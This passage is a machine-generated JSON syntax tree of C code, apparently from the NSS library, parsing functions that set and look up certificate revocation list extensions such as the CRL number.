&crl->version, SEC_CRL_VERSION_2)", "parent": 79, "children": [116, 117], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 39, "column": 66}}, {"id": 116, "type": "identifier", "text": "DER_SetUInteger", "parent": 115, "children": [], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 39, "column": 19}}, {"id": 117, "type": "argument_list", "text": "(crl->arena, &crl->version, SEC_CRL_VERSION_2)", "parent": 115, "children": [118, 121, 125], "start_point": {"row": 39, "column": 20}, "end_point": {"row": 39, "column": 66}}, {"id": 118, "type": "field_expression", "text": "crl->arena", "parent": 117, "children": [119, 120], "start_point": {"row": 39, "column": 21}, "end_point": {"row": 39, "column": 31}}, {"id": 119, "type": "identifier", "text": "crl", "parent": 118, "children": [], "start_point": {"row": 39, "column": 21}, "end_point": {"row": 39, "column": 24}}, {"id": 120, "type": "field_identifier", "text": "arena", "parent": 118, "children": [], "start_point": {"row": 39, "column": 26}, "end_point": {"row": 39, "column": 31}}, {"id": 121, "type": "pointer_expression", "text": "&crl->version", "parent": 117, "children": [122], "start_point": {"row": 39, "column": 33}, "end_point": {"row": 39, "column": 46}}, {"id": 122, "type": "field_expression", "text": "crl->version", "parent": 121, "children": [123, 124], "start_point": {"row": 39, "column": 34}, "end_point": {"row": 39, "column": 46}}, {"id": 123, "type": "identifier", "text": "crl", "parent": 122, "children": [], "start_point": {"row": 39, "column": 34}, "end_point": {"row": 39, "column": 37}}, {"id": 124, "type": "field_identifier", "text": "version", "parent": 122, "children": [], "start_point": {"row": 39, "column": 39}, "end_point": {"row": 39, "column": 46}}, {"id": 125, "type": "identifier", "text": "SEC_CRL_VERSION_2", "parent": 117, "children": [], "start_point": {"row": 39, "column": 48}, "end_point": {"row": 39, "column": 65}}, {"id": 126, "type": "function_definition", "text": "void *\nCERT_StartCRLExtensions(CERTCrl *crl)\n{\n return (cert_StartExtensions ((void *)crl, crl->arena, SetCrlExts));\n}", "parent": null, "children": [127, 128], "start_point": {"row": 42, "column": 0}, "end_point": {"row": 46, "column": 1}}, {"id": 127, "type": "primitive_type", "text": "void", "parent": 126, "children": [], "start_point": {"row": 42, "column": 0}, "end_point": {"row": 42, "column": 4}}, {"id": 128, "type": "pointer_declarator", "text": "*\nCERT_StartCRLExtensions(CERTCrl *crl)", "parent": 126, "children": [129, 130], "start_point": {"row": 42, "column": 5}, "end_point": {"row": 43, "column": 37}}, {"id": 129, "type": "*", "text": "*", "parent": 128, "children": [], "start_point": {"row": 42, "column": 5}, "end_point": {"row": 42, "column": 6}}, {"id": 130, "type": "function_declarator", "text": "CERT_StartCRLExtensions(CERTCrl *crl)", "parent": 128, "children": [131, 132], "start_point": {"row": 43, "column": 0}, "end_point": {"row": 43, "column": 37}}, {"id": 131, "type": "identifier", "text": "CERT_StartCRLExtensions", "parent": 130, "children": [], "start_point": {"row": 43, "column": 0}, "end_point": {"row": 43, "column": 23}}, {"id": 132, "type": "parameter_list", "text": "(CERTCrl *crl)", "parent": 130, "children": [133], "start_point": {"row": 43, "column": 23}, "end_point": {"row": 43, "column": 37}}, {"id": 133, "type": "parameter_declaration", "text": "CERTCrl *crl", "parent": 132, "children": [134, 135], "start_point": {"row": 43, "column": 24}, "end_point": {"row": 43, "column": 36}}, {"id": 134, "type": "type_identifier", "text": "CERTCrl", "parent": 133, "children": [], "start_point": {"row": 43, "column": 24}, "end_point": {"row": 43, "column": 31}}, {"id": 135, "type": "pointer_declarator", "text": "*crl", "parent": 133, "children": [136, 137], "start_point": {"row": 43, "column": 32}, "end_point": {"row": 43, "column": 36}}, {"id": 136, "type": "*", "text": "*", "parent": 135, "children": [], "start_point": {"row": 43, "column": 32}, "end_point": {"row": 43, "column": 33}}, {"id": 137, "type": "identifier", "text": "crl", "parent": 135, "children": [], "start_point": {"row": 43, "column": 33}, "end_point": {"row": 43, "column": 36}}, {"id": 138, "type": "return_statement", "text": "return (cert_StartExtensions ((void *)crl, crl->arena, SetCrlExts));", "parent": 126, "children": [139], "start_point": {"row": 45, "column": 4}, "end_point": {"row": 45, "column": 72}}, {"id": 139, "type": "parenthesized_expression", "text": "(cert_StartExtensions ((void *)crl, crl->arena, SetCrlExts))", "parent": 138, "children": [140], "start_point": {"row": 45, "column": 11}, "end_point": {"row": 45, "column": 71}}, {"id": 140, "type": "call_expression", "text": "cert_StartExtensions ((void *)crl, crl->arena, SetCrlExts)", "parent": 139, "children": [141, 142], "start_point": {"row": 45, "column": 12}, "end_point": {"row": 45, "column": 70}}, {"id": 141, "type": "identifier", "text": "cert_StartExtensions", "parent": 140, "children": [], "start_point": {"row": 45, "column": 12}, "end_point": {"row": 45, "column": 32}}, {"id": 142, "type": "argument_list", "text": "((void *)crl, crl->arena, SetCrlExts)", "parent": 140, "children": [143, 149, 152], "start_point": {"row": 45, "column": 33}, "end_point": {"row": 45, "column": 70}}, {"id": 143, "type": "cast_expression", "text": "(void *)crl", "parent": 142, "children": [144, 148], "start_point": {"row": 45, "column": 34}, "end_point": {"row": 45, "column": 45}}, {"id": 144, "type": "type_descriptor", "text": "void *", "parent": 143, "children": [145, 146], "start_point": {"row": 45, "column": 35}, "end_point": {"row": 45, "column": 41}}, {"id": 145, "type": "primitive_type", "text": "void", "parent": 144, "children": [], "start_point": {"row": 45, "column": 35}, "end_point": {"row": 45, "column": 39}}, {"id": 146, "type": "abstract_pointer_declarator", "text": "*", "parent": 144, "children": [147], "start_point": {"row": 45, "column": 40}, "end_point": {"row": 45, "column": 41}}, {"id": 147, "type": "*", "text": "*", "parent": 146, "children": [], "start_point": {"row": 45, "column": 40}, "end_point": {"row": 45, "column": 41}}, {"id": 148, "type": "identifier", "text": "crl", "parent": 143, "children": [], "start_point": {"row": 45, "column": 42}, "end_point": {"row": 45, "column": 45}}, {"id": 149, "type": "field_expression", "text": "crl->arena", "parent": 142, "children": [150, 151], "start_point": {"row": 45, "column": 47}, "end_point": {"row": 45, "column": 57}}, {"id": 150, "type": "identifier", "text": "crl", "parent": 149, "children": [], "start_point": {"row": 45, "column": 47}, "end_point": {"row": 45, "column": 50}}, {"id": 151, "type": "field_identifier", "text": "arena", "parent": 149, "children": [], "start_point": {"row": 45, "column": 52}, "end_point": {"row": 45, "column": 57}}, {"id": 152, "type": "identifier", "text": "SetCrlExts", "parent": 142, "children": [], "start_point": {"row": 45, "column": 59}, "end_point": {"row": 45, "column": 69}}, {"id": 153, "type": "function_definition", "text": "static void\nSetCrlEntryExts(void *object, CERTCertExtension **exts)\n{\n CERTCrlEntry *crlEntry = (CERTCrlEntry *)object;\n\n crlEntry->extensions = exts;\n}", "parent": null, "children": [154, 155], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 54, "column": 1}}, {"id": 154, "type": "primitive_type", "text": "void", "parent": 153, "children": [], "start_point": {"row": 48, "column": 7}, "end_point": {"row": 48, "column": 11}}, {"id": 155, "type": "function_declarator", "text": "SetCrlEntryExts(void *object, CERTCertExtension **exts)", "parent": 153, "children": [156, 157], "start_point": {"row": 49, "column": 0}, "end_point": {"row": 49, "column": 55}}, {"id": 156, "type": "identifier", "text": "SetCrlEntryExts", "parent": 155, "children": [], "start_point": {"row": 49, "column": 0}, "end_point": {"row": 49, "column": 15}}, {"id": 157, "type": "parameter_list", "text": "(void *object, CERTCertExtension **exts)", "parent": 155, "children": [158, 163], "start_point": {"row": 49, "column": 15}, "end_point": {"row": 49, "column": 55}}, {"id": 158, "type": "parameter_declaration", "text": "void *object", "parent": 157, "children": [159, 160], "start_point": {"row": 49, "column": 16}, "end_point": {"row": 49, "column": 28}}, {"id": 159, "type": "primitive_type", "text": "void", "parent": 158, "children": [], "start_point": {"row": 49, "column": 16}, "end_point": {"row": 49, "column": 20}}, {"id": 160, "type": "pointer_declarator", "text": "*object", "parent": 158, "children": [161, 162], "start_point": {"row": 49, "column": 21}, "end_point": {"row": 49, "column": 28}}, {"id": 161, "type": "*", "text": "*", "parent": 160, "children": [], "start_point": {"row": 49, "column": 21}, "end_point": {"row": 49, "column": 22}}, {"id": 162, "type": "identifier", "text": "object", "parent": 160, "children": [], "start_point": {"row": 49, "column": 22}, "end_point": {"row": 49, "column": 28}}, {"id": 163, "type": "parameter_declaration", "text": "CERTCertExtension **exts", "parent": 157, "children": [164, 165], "start_point": {"row": 49, "column": 30}, "end_point": {"row": 49, "column": 54}}, {"id": 164, "type": "type_identifier", "text": "CERTCertExtension", "parent": 163, "children": [], "start_point": {"row": 49, "column": 30}, "end_point": {"row": 49, "column": 47}}, {"id": 165, "type": "pointer_declarator", "text": "**exts", "parent": 163, "children": [166, 167], "start_point": {"row": 49, "column": 48}, "end_point": {"row": 49, "column": 54}}, {"id": 166, "type": "*", "text": "*", "parent": 165, "children": [], "start_point": {"row": 49, "column": 48}, "end_point": {"row": 49, "column": 49}}, {"id": 167, "type": "pointer_declarator", "text": "*exts", "parent": 165, "children": [168, 169], "start_point": {"row": 49, "column": 49}, "end_point": {"row": 49, "column": 54}}, {"id": 168, "type": "*", "text": "*", "parent": 167, "children": [], "start_point": {"row": 49, "column": 49}, "end_point": {"row": 49, "column": 50}}, {"id": 169, "type": "identifier", "text": "exts", "parent": 167, "children": [], "start_point": {"row": 49, "column": 50}, "end_point": {"row": 49, "column": 54}}, {"id": 170, "type": "declaration", "text": "CERTCrlEntry *crlEntry = (CERTCrlEntry *)object;", "parent": 153, "children": [171, 172], "start_point": {"row": 51, "column": 4}, "end_point": {"row": 51, "column": 52}}, {"id": 171, "type": "type_identifier", "text": "CERTCrlEntry", "parent": 170, "children": [], "start_point": {"row": 51, "column": 4}, "end_point": {"row": 51, "column": 16}}, {"id": 172, "type": "init_declarator", "text": "*crlEntry = (CERTCrlEntry *)object", "parent": 170, "children": [173, 176, 177], "start_point": {"row": 51, "column": 17}, "end_point": {"row": 51, "column": 51}}, {"id": 173, "type": "pointer_declarator", "text": "*crlEntry", "parent": 172, "children": [174, 175], "start_point": {"row": 51, "column": 17}, "end_point": {"row": 51, "column": 26}}, {"id": 174, "type": "*", "text": "*", "parent": 173, "children": [], "start_point": {"row": 51, "column": 17}, "end_point": {"row": 51, "column": 18}}, {"id": 175, "type": "identifier", "text": "crlEntry", "parent": 173, "children": [], "start_point": {"row": 51, "column": 18}, "end_point": {"row": 51, "column": 26}}, {"id": 176, "type": "=", "text": "=", "parent": 172, "children": [], "start_point": {"row": 51, "column": 27}, "end_point": {"row": 51, "column": 28}}, {"id": 177, "type": "cast_expression", "text": "(CERTCrlEntry *)object", "parent": 172, "children": [178, 182], "start_point": {"row": 51, "column": 29}, "end_point": {"row": 51, "column": 51}}, {"id": 178, "type": "type_descriptor", "text": "CERTCrlEntry *", "parent": 177, "children": [179, 180], "start_point": {"row": 51, "column": 30}, "end_point": {"row": 51, "column": 44}}, {"id": 179, "type": "type_identifier", "text": "CERTCrlEntry", "parent": 178, "children": [], "start_point": {"row": 51, "column": 30}, "end_point": {"row": 51, "column": 42}}, {"id": 180, "type": "abstract_pointer_declarator", "text": "*", "parent": 178, "children": [181], "start_point": {"row": 51, "column": 43}, "end_point": {"row": 51, "column": 44}}, {"id": 181, "type": "*", "text": "*", "parent": 180, "children": [], "start_point": {"row": 51, "column": 43}, "end_point": {"row": 51, "column": 44}}, {"id": 182, "type": "identifier", "text": "object", "parent": 177, "children": [], "start_point": {"row": 51, "column": 45}, "end_point": {"row": 51, "column": 51}}, {"id": 183, "type": "assignment_expression", "text": "crlEntry->extensions = exts", "parent": 153, "children": [184, 187, 188], "start_point": {"row": 53, "column": 4}, "end_point": {"row": 53, "column": 31}}, {"id": 184, "type": "field_expression", "text": "crlEntry->extensions", "parent": 183, "children": [185, 186], "start_point": {"row": 53, "column": 4}, "end_point": {"row": 53, "column": 24}}, {"id": 185, "type": "identifier", "text": "crlEntry", "parent": 184, "children": [], "start_point": {"row": 53, "column": 4}, "end_point": {"row": 53, "column": 12}}, {"id": 186, "type": "field_identifier", "text": "extensions", "parent": 184, "children": [], "start_point": {"row": 53, "column": 14}, "end_point": {"row": 53, "column": 24}}, {"id": 187, "type": "=", "text": "=", "parent": 183, "children": [], "start_point": {"row": 53, "column": 25}, "end_point": {"row": 53, "column": 26}}, {"id": 188, "type": "identifier", "text": "exts", "parent": 183, "children": [], "start_point": {"row": 53, "column": 27}, "end_point": {"row": 53, "column": 31}}, {"id": 189, "type": "function_definition", "text": "void *\nCERT_StartCRLEntryExtensions(CERTCrl *crl, CERTCrlEntry *entry)\n{\n return (cert_StartExtensions (entry, crl->arena, SetCrlEntryExts));\n}", "parent": null, "children": [190, 191], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 60, "column": 1}}, {"id": 190, "type": "primitive_type", "text": "void", "parent": 189, "children": [], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 56, "column": 4}}, {"id": 191, "type": "pointer_declarator", "text": "*\nCERT_StartCRLEntryExtensions(CERTCrl *crl, CERTCrlEntry *entry)", "parent": 189, "children": [192, 193], "start_point": {"row": 56, "column": 5}, "end_point": {"row": 57, "column": 63}}, {"id": 192, "type": "*", "text": "*", "parent": 191, "children": [], "start_point": {"row": 56, "column": 5}, "end_point": {"row": 56, "column": 6}}, {"id": 193, "type": "function_declarator", "text": "CERT_StartCRLEntryExtensions(CERTCrl *crl, CERTCrlEntry *entry)", "parent": 191, "children": [194, 195], "start_point": {"row": 57, "column": 0}, "end_point": {"row": 57, "column": 63}}, {"id": 194, "type": "identifier", "text": "CERT_StartCRLEntryExtensions", "parent": 193, "children": [], "start_point": {"row": 57, "column": 0}, "end_point": {"row": 57, "column": 28}}, {"id": 195, "type": "parameter_list", "text": "(CERTCrl *crl, CERTCrlEntry *entry)", "parent": 193, "children": [196, 201], "start_point": {"row": 57, "column": 28}, "end_point": {"row": 57, "column": 63}}, {"id": 196, "type": "parameter_declaration", "text": "CERTCrl *crl", "parent": 195, "children": [197, 198], "start_point": {"row": 57, "column": 29}, "end_point": {"row": 57, "column": 41}}, {"id": 197, "type": "type_identifier", "text": "CERTCrl", "parent": 196, "children": [], "start_point": {"row": 57, "column": 29}, "end_point": {"row": 57, "column": 36}}, {"id": 198, "type": "pointer_declarator", "text": "*crl", "parent": 196, "children": [199, 200], "start_point": {"row": 57, "column": 37}, "end_point": {"row": 57, "column": 41}}, {"id": 199, "type": "*", "text": "*", "parent": 198, "children": [], "start_point": {"row": 57, "column": 37}, "end_point": {"row": 57, "column": 38}}, {"id": 200, "type": "identifier", "text": "crl", "parent": 198, "children": [], "start_point": {"row": 57, "column": 38}, "end_point": {"row": 57, "column": 41}}, {"id": 201, "type": "parameter_declaration", "text": "CERTCrlEntry *entry", "parent": 195, "children": [202, 203], "start_point": {"row": 57, "column": 43}, "end_point": {"row": 57, "column": 62}}, {"id": 202, "type": "type_identifier", "text": "CERTCrlEntry", "parent": 201, "children": [], "start_point": {"row": 57, "column": 43}, "end_point": {"row": 57, "column": 55}}, {"id": 203, "type": "pointer_declarator", "text": "*entry", "parent": 201, "children": [204, 205], "start_point": {"row": 57, "column": 56}, "end_point": {"row": 57, "column": 62}}, {"id": 204, "type": "*", "text": "*", "parent": 203, "children": [], "start_point": {"row": 57, "column": 56}, "end_point": {"row": 57, "column": 57}}, {"id": 205, "type": "identifier", "text": "entry", "parent": 203, "children": [], "start_point": {"row": 57, "column": 57}, "end_point": {"row": 57, "column": 62}}, {"id": 206, "type": "return_statement", "text": "return (cert_StartExtensions (entry, crl->arena, SetCrlEntryExts));", "parent": 189, "children": [207], "start_point": {"row": 59, "column": 4}, "end_point": {"row": 59, "column": 71}}, {"id": 207, "type": "parenthesized_expression", "text": "(cert_StartExtensions (entry, crl->arena, SetCrlEntryExts))", "parent": 206, "children": [208], "start_point": {"row": 59, "column": 11}, "end_point": {"row": 59, "column": 70}}, {"id": 208, "type": "call_expression", "text": "cert_StartExtensions (entry, crl->arena, SetCrlEntryExts)", "parent": 207, "children": [209, 210], "start_point": {"row": 59, "column": 12}, "end_point": {"row": 59, "column": 69}}, {"id": 209, "type": "identifier", "text": "cert_StartExtensions", "parent": 208, "children": [], "start_point": {"row": 59, "column": 12}, "end_point": {"row": 59, "column": 32}}, {"id": 210, "type": "argument_list", "text": "(entry, crl->arena, SetCrlEntryExts)", "parent": 208, "children": [211, 212, 215], "start_point": {"row": 59, "column": 33}, "end_point": {"row": 59, "column": 69}}, {"id": 211, "type": "identifier", "text": "entry", "parent": 210, "children": [], "start_point": {"row": 59, "column": 34}, "end_point": {"row": 59, "column": 39}}, {"id": 212, "type": "field_expression", "text": "crl->arena", "parent": 210, "children": [213, 214], "start_point": {"row": 59, "column": 41}, "end_point": {"row": 59, "column": 51}}, {"id": 213, "type": "identifier", "text": "crl", "parent": 212, "children": [], "start_point": {"row": 59, "column": 41}, "end_point": {"row": 59, "column": 44}}, {"id": 214, "type": "field_identifier", "text": "arena", "parent": 212, "children": [], "start_point": {"row": 59, "column": 46}, "end_point": {"row": 59, "column": 51}}, {"id": 215, "type": "identifier", "text": "SetCrlEntryExts", "parent": 210, "children": [], "start_point": {"row": 59, "column": 53}, "end_point": {"row": 59, "column": 68}}, {"id": 216, "type": "function_definition", "text": "SECStatus CERT_FindCRLNumberExten (PRArenaPool *arena, CERTCrl *crl,\n SECItem *value)\n{\n SECItem encodedExtenValue;\n SECItem *tmpItem = NULL;\n SECStatus rv;\n void *mark = NULL;\n\n encodedExtenValue.data = NULL;\n encodedExtenValue.len = 0;\n\n rv = cert_FindExtension(crl->extensions, SEC_OID_X509_CRL_NUMBER,\n\t\t\t &encodedExtenValue);\n if ( rv != SECSuccess )\n\treturn (rv);\n\n mark = PORT_ArenaMark(arena);\n\n tmpItem = SECITEM_ArenaDupItem(arena, &encodedExtenValue);\n if (tmpItem) {\n rv = SEC_QuickDERDecodeItem (arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem);\n } else {\n rv = SECFailure;\n }\n\n PORT_Free (encodedExtenValue.data);\n if (rv == SECFailure) {\n PORT_ArenaRelease(arena, mark);\n } else {\n PORT_ArenaUnmark(arena, mark);\n }\n return (rv);\n}", "parent": null, "children": [217, 218], "start_point": {"row": 62, "column": 0}, "end_point": {"row": 96, "column": 1}}, {"id": 217, "type": "type_identifier", "text": "SECStatus", "parent": 216, "children": [], "start_point": {"row": 62, "column": 0}, "end_point": {"row": 62, "column": 9}}, {"id": 218, "type": "function_declarator", "text": "CERT_FindCRLNumberExten (PRArenaPool *arena, CERTCrl *crl,\n SECItem *value)", "parent": 216, "children": [219, 220], "start_point": {"row": 62, "column": 10}, "end_point": {"row": 63, "column": 50}}, {"id": 219, "type": "identifier", "text": "CERT_FindCRLNumberExten", "parent": 218, "children": [], "start_point": {"row": 62, "column": 10}, "end_point": {"row": 62, "column": 33}}, {"id": 220, "type": "parameter_list", "text": "(PRArenaPool *arena, CERTCrl *crl,\n SECItem *value)", "parent": 218, "children": [221, 226, 231], "start_point": {"row": 62, "column": 34}, "end_point": {"row": 63, "column": 50}}, {"id": 221, "type": "parameter_declaration", "text": "PRArenaPool *arena", "parent": 220, "children": [222, 223], "start_point": {"row": 62, "column": 35}, "end_point": {"row": 62, "column": 53}}, {"id": 222, "type": "type_identifier", "text": "PRArenaPool", "parent": 221, "children": [], "start_point": {"row": 62, "column": 35}, "end_point": {"row": 62, "column": 46}}, {"id": 223, "type": "pointer_declarator", "text": "*arena", "parent": 221, "children": [224, 225], "start_point": {"row": 62, "column": 47}, "end_point": {"row": 62, "column": 53}}, {"id": 224, "type": "*", "text": "*", "parent": 223, "children": [], "start_point": {"row": 62, "column": 47}, "end_point": {"row": 62, "column": 48}}, {"id": 225, "type": "identifier", "text": "arena", "parent": 223, "children": [], "start_point": {"row": 62, "column": 48}, "end_point": {"row": 62, "column": 53}}, {"id": 226, "type": "parameter_declaration", "text": "CERTCrl *crl", "parent": 220, "children": [227, 228], "start_point": {"row": 62, "column": 55}, "end_point": {"row": 62, "column": 67}}, {"id": 227, "type": "type_identifier", "text": "CERTCrl", "parent": 226, "children": [], "start_point": {"row": 62, "column": 55}, "end_point": {"row": 62, "column": 62}}, {"id": 228, "type": "pointer_declarator", "text": "*crl", "parent": 226, "children": [229, 230], "start_point": {"row": 62, "column": 63}, "end_point": {"row": 62, "column": 67}}, {"id": 229, "type": "*", "text": "*", "parent": 228, "children": [], "start_point": {"row": 62, "column": 63}, "end_point": {"row": 62, "column": 64}}, {"id": 230, "type": "identifier", "text": "crl", "parent": 228, "children": [], "start_point": {"row": 62, "column": 64}, "end_point": {"row": 62, "column": 67}}, {"id": 231, "type": "parameter_declaration", "text": "SECItem *value", "parent": 220, "children": [232, 233], "start_point": {"row": 63, "column": 35}, "end_point": {"row": 63, "column": 49}}, {"id": 232, "type": "type_identifier", "text": "SECItem", "parent": 231, "children": [], "start_point": {"row": 63, "column": 35}, "end_point": {"row": 63, "column": 42}}, {"id": 233, "type": "pointer_declarator", "text": "*value", "parent": 231, "children": [234, 235], "start_point": {"row": 63, "column": 43}, "end_point": {"row": 63, "column": 49}}, {"id": 234, "type": "*", "text": "*", "parent": 233, "children": [], "start_point": {"row": 63, "column": 43}, "end_point": {"row": 63, "column": 44}}, {"id": 235, "type": "identifier", "text": "value", "parent": 233, "children": [], "start_point": {"row": 63, "column": 44}, "end_point": {"row": 63, "column": 49}}, {"id": 236, "type": "declaration", "text": "SECItem encodedExtenValue;", "parent": 216, "children": [237, 238], "start_point": {"row": 65, "column": 4}, "end_point": {"row": 65, "column": 30}}, {"id": 237, "type": "type_identifier", "text": "SECItem", "parent": 236, "children": [], "start_point": {"row": 65, "column": 4}, "end_point": {"row": 65, "column": 11}}, {"id": 238, "type": "identifier", "text": "encodedExtenValue", "parent": 236, "children": [], "start_point": {"row": 65, "column": 12}, "end_point": {"row": 65, "column": 29}}, {"id": 239, "type": "declaration", "text": "SECItem *tmpItem = NULL;", "parent": 216, "children": [240, 241], "start_point": {"row": 66, "column": 4}, "end_point": {"row": 66, "column": 28}}, {"id": 240, "type": "type_identifier", "text": "SECItem", "parent": 239, "children": [], "start_point": {"row": 66, "column": 4}, "end_point": {"row": 66, "column": 11}}, {"id": 241, "type": "init_declarator", "text": "*tmpItem = NULL", "parent": 239, "children": [242, 245, 246], "start_point": {"row": 66, "column": 12}, "end_point": {"row": 66, "column": 27}}, {"id": 242, "type": "pointer_declarator", "text": "*tmpItem", "parent": 241, "children": [243, 244], "start_point": {"row": 66, "column": 12}, "end_point": {"row": 66, "column": 20}}, {"id": 243, "type": "*", "text": "*", "parent": 242, "children": [], "start_point": {"row": 66, "column": 12}, "end_point": {"row": 66, "column": 13}}, {"id": 244, "type": "identifier", "text": "tmpItem", "parent": 242, "children": [], "start_point": {"row": 66, "column": 13}, "end_point": {"row": 66, "column": 20}}, {"id": 245, "type": "=", "text": "=", "parent": 241, "children": [], "start_point": {"row": 66, "column": 21}, "end_point": {"row": 66, "column": 22}}, {"id": 246, "type": "null", "text": "NULL", "parent": 241, "children": [247], "start_point": {"row": 66, "column": 23}, "end_point": {"row": 66, "column": 27}}, {"id": 247, "type": "NULL", "text": "NULL", "parent": 246, "children": [], "start_point": {"row": 66, "column": 23}, "end_point": {"row": 66, "column": 27}}, {"id": 248, "type": "declaration", "text": "SECStatus rv;", "parent": 216, "children": [249, 250], "start_point": {"row": 67, "column": 4}, "end_point": {"row": 67, "column": 17}}, {"id": 249, "type": "type_identifier", "text": "SECStatus", "parent": 248, "children": [], "start_point": {"row": 67, "column": 4}, "end_point": {"row": 67, "column": 13}}, {"id": 250, "type": "identifier", "text": "rv", "parent": 248, "children": [], "start_point": {"row": 67, "column": 14}, "end_point": {"row": 67, "column": 16}}, {"id": 251, "type": "declaration", "text": "void *mark = NULL;", "parent": 216, "children": [252, 253], "start_point": {"row": 68, "column": 4}, "end_point": {"row": 68, "column": 22}}, {"id": 252, "type": "primitive_type", "text": "void", "parent": 251, "children": [], "start_point": {"row": 68, "column": 4}, "end_point": {"row": 68, "column": 8}}, {"id": 253, "type": "init_declarator", "text": "*mark = NULL", "parent": 251, "children": [254, 257, 258], "start_point": {"row": 68, "column": 9}, "end_point": {"row": 68, "column": 21}}, {"id": 254, "type": "pointer_declarator", "text": "*mark", "parent": 253, "children": [255, 256], "start_point": {"row": 68, "column": 9}, "end_point": {"row": 68, "column": 14}}, {"id": 255, "type": "*", "text": "*", "parent": 254, "children": [], "start_point": {"row": 68, "column": 9}, "end_point": {"row": 68, "column": 10}}, {"id": 256, "type": "identifier", "text": "mark", "parent": 254, "children": [], "start_point": {"row": 68, "column": 10}, "end_point": {"row": 68, "column": 14}}, {"id": 257, "type": "=", "text": "=", "parent": 253, "children": [], "start_point": {"row": 68, "column": 15}, "end_point": {"row": 68, "column": 16}}, {"id": 258, "type": "null", "text": "NULL", "parent": 253, "children": [259], "start_point": {"row": 68, "column": 17}, "end_point": {"row": 68, "column": 21}}, {"id": 259, "type": "NULL", "text": "NULL", "parent": 258, "children": [], "start_point": {"row": 68, "column": 17}, "end_point": {"row": 68, "column": 21}}, {"id": 260, "type": "assignment_expression", "text": "encodedExtenValue.data = NULL", "parent": 216, "children": [261, 264, 265], "start_point": {"row": 70, "column": 4}, "end_point": {"row": 70, "column": 33}}, {"id": 261, "type": "field_expression", "text": "encodedExtenValue.data", "parent": 260, "children": [262, 263], "start_point": {"row": 70, "column": 4}, "end_point": {"row": 70, "column": 26}}, {"id": 262, "type": "identifier", "text": "encodedExtenValue", "parent": 261, "children": [], "start_point": {"row": 70, "column": 4}, "end_point": {"row": 70, "column": 21}}, {"id": 263, "type": "field_identifier", "text": "data", "parent": 261, "children": [], "start_point": {"row": 70, "column": 22}, "end_point": {"row": 70, "column": 26}}, {"id": 264, "type": "=", "text": "=", "parent": 260, "children": [], "start_point": {"row": 70, "column": 27}, "end_point": {"row": 70, "column": 28}}, {"id": 265, "type": "null", "text": "NULL", "parent": 260, "children": [266], "start_point": {"row": 70, "column": 29}, "end_point": {"row": 70, "column": 33}}, {"id": 266, "type": "NULL", "text": "NULL", "parent": 265, "children": [], "start_point": {"row": 70, "column": 29}, "end_point": {"row": 70, "column": 33}}, {"id": 267, "type": "assignment_expression", "text": "encodedExtenValue.len = 0", "parent": 216, "children": [268, 271, 272], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 29}}, {"id": 268, "type": "field_expression", "text": "encodedExtenValue.len", "parent": 267, "children": [269, 270], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 25}}, {"id": 269, "type": "identifier", "text": "encodedExtenValue", "parent": 268, "children": [], "start_point": {"row": 71, "column": 4}, "end_point": {"row": 71, "column": 21}}, {"id": 270, "type": "field_identifier", "text": "len", "parent": 268, "children": [], "start_point": {"row": 71, "column": 22}, "end_point": {"row": 71, "column": 25}}, {"id": 271, "type": "=", "text": "=", "parent": 267, "children": [], "start_point": {"row": 71, "column": 26}, "end_point": {"row": 71, "column": 27}}, {"id": 272, "type": "number_literal", "text": "0", "parent": 267, "children": [], "start_point": {"row": 71, "column": 28}, "end_point": {"row": 71, "column": 29}}, {"id": 273, "type": "assignment_expression", "text": "rv = cert_FindExtension(crl->extensions, SEC_OID_X509_CRL_NUMBER,\n\t\t\t &encodedExtenValue)", "parent": 216, "children": [274, 275, 276], "start_point": {"row": 73, "column": 4}, "end_point": {"row": 74, "column": 24}}, {"id": 274, "type": "identifier", "text": "rv", "parent": 273, "children": [], "start_point": {"row": 73, "column": 4}, "end_point": {"row": 73, "column": 6}}, {"id": 275, "type": "=", "text": "=", "parent": 273, "children": [], "start_point": {"row": 73, "column": 7}, "end_point": {"row": 73, "column": 8}}, {"id": 276, "type": "call_expression", "text": "cert_FindExtension(crl->extensions, SEC_OID_X509_CRL_NUMBER,\n\t\t\t &encodedExtenValue)", "parent": 273, "children": [277, 278], "start_point": {"row": 73, "column": 9}, "end_point": {"row": 74, "column": 24}}, {"id": 277, "type": "identifier", "text": "cert_FindExtension", "parent": 276, "children": [], "start_point": {"row": 73, "column": 9}, "end_point": {"row": 73, "column": 27}}, {"id": 278, "type": "argument_list", "text": "(crl->extensions, SEC_OID_X509_CRL_NUMBER,\n\t\t\t &encodedExtenValue)", "parent": 276, "children": [279, 282, 283], "start_point": {"row": 73, "column": 27}, "end_point": {"row": 74, "column": 24}}, {"id": 279, "type": "field_expression", "text": "crl->extensions", "parent": 278, "children": [280, 281], "start_point": {"row": 73, "column": 28}, "end_point": {"row": 73, "column": 43}}, {"id": 280, "type": "identifier", "text": "crl", "parent": 279, "children": [], "start_point": {"row": 73, "column": 28}, "end_point": {"row": 73, "column": 31}}, {"id": 281, "type": "field_identifier", "text": "extensions", "parent": 279, "children": [], "start_point": {"row": 73, "column": 33}, "end_point": {"row": 73, "column": 43}}, {"id": 282, "type": "identifier", "text": "SEC_OID_X509_CRL_NUMBER", "parent": 278, "children": [], "start_point": {"row": 73, "column": 45}, "end_point": {"row": 73, "column": 68}}, {"id": 283, "type": "pointer_expression", "text": "&encodedExtenValue", "parent": 278, "children": [284], "start_point": {"row": 74, "column": 5}, "end_point": {"row": 74, "column": 23}}, {"id": 284, "type": "identifier", "text": "encodedExtenValue", "parent": 283, "children": [], "start_point": {"row": 74, "column": 6}, "end_point": {"row": 74, "column": 23}}, {"id": 285, "type": "if_statement", "text": "if ( rv != SECSuccess )\n\treturn (rv);", "parent": 216, "children": [286, 291], "start_point": {"row": 75, "column": 4}, "end_point": {"row": 76, "column": 13}}, {"id": 286, "type": "parenthesized_expression", "text": "( rv != SECSuccess )", "parent": 285, "children": [287], "start_point": {"row": 75, "column": 7}, "end_point": {"row": 75, "column": 27}}, {"id": 287, "type": "binary_expression", "text": "rv != SECSuccess", "parent": 286, "children": [288, 289, 290], "start_point": {"row": 75, "column": 9}, "end_point": {"row": 75, "column": 25}}, {"id": 288, "type": "identifier", 